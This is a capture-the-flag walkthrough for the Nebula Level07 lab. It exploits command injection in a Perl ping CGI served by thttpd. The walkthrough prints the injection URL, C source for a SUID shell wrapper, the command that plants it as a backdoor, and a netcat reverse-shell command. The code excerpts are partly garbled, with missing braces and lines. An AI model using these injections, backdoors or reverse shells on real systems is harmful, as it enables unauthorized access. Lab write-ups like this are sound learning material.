In Level07 we are given the source code of a perl script:


use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {  
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body>


  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }



# check if Host set. if not, display normal page, etc


It looks like its vulnerable to command injection on line 12. Bit how and where is it deployed. Along with the script code we are given the following file:

level07@nebula:/home/flag07$ cat thttpd.conf  
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.

# Specifies what user to switch to after initialization when started as root.

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.

# Specifies a file of throttle settings. See thttpd(8) for details.

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.

# Specifies the character set to use with text MIME types.

# Specifies a P3P server privacy header to be returned with all responses. See
# for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.

So it looks like the port 7007 has a http daemon serving /home/flag07 and that the daemon is run as flag07 user.... thats basically all we need.
If we connect to the server, we can ping any host like:

{% img /images/pinglocalhost.png 565 168 %}

Now all we need to do to get the flag is accessing index.cgi?Host=localhost%3bgetflag:

{% img /images/pinglocalhostgetflag.png 571 187 %}

Now, if we want to get a shell we can create a program like:

#include <unistd.h>
#include <stdlib.h>

int main()  
    int euid = geteuid();

    setresuid(euid, euid, euid);
    return 0;

Compile it and move it to /tmp:

level07@nebula:~$ gcc shell.c -o shell  
level07@nebula:~$ cp shell /tmp/shell  

Now make the flag07 user to set the SUID flag on it by using the command injection to run the following commands:

; cp /tmp/shell /home/flag07/shell; chmod +s /home/flag07/shell

Now inject the above command (Dont forget to URL encode it) and look for your backdoot at /home/flag07

level07@nebula:/home/flag07$ ls -la  
total 36  
drwxr-x---  2 flag07 level07 4096 Nov 21 09:52 .  
drwxr-xr-x 43 root   root    4096 Nov 20  2011 ..  
-rw-r--r--  1 flag07 flag07   220 May 18  2011 .bash_logout
-rw-r--r--  1 flag07 flag07  3353 May 18  2011 .bashrc
-rw-r--r--  1 flag07 flag07   675 May 18  2011 .profile
-rwxr-xr-x  1 root   root     368 Nov 20  2011 index.cgi
-rwsr-sr-x  1 flag07 flag07  7241 Nov 21 09:52 shell
-rw-r--r--  1 root   root    3719 Nov 20  2011 thttpd.conf
level07@nebula:/home/flag07$ ./shell  
sh-4.2$ id  
uid=992(flag07) gid=1008(level07) egid=992(flag07) groups=992(flag07),1008(level07)  

Other way to do it is using netcat. Just run a nc listening on any port for your flag07 shell:

level07@nebula:/home/flag07$ nc -nvlp 6666  
listening on [any] 6666 ...  

Now use the command injection to run connect to your listening netcat and send it the reverse shell:

; nc localhost 6666 -e /bin/sh
level07@nebula:/home/flag07$ nc -nvlp 6666  
listening on [any] 6666 ...  
connect to [] from (UNKNOWN) [] 43686  
uid=992(flag07) gid=992(flag07) groups=992(flag07)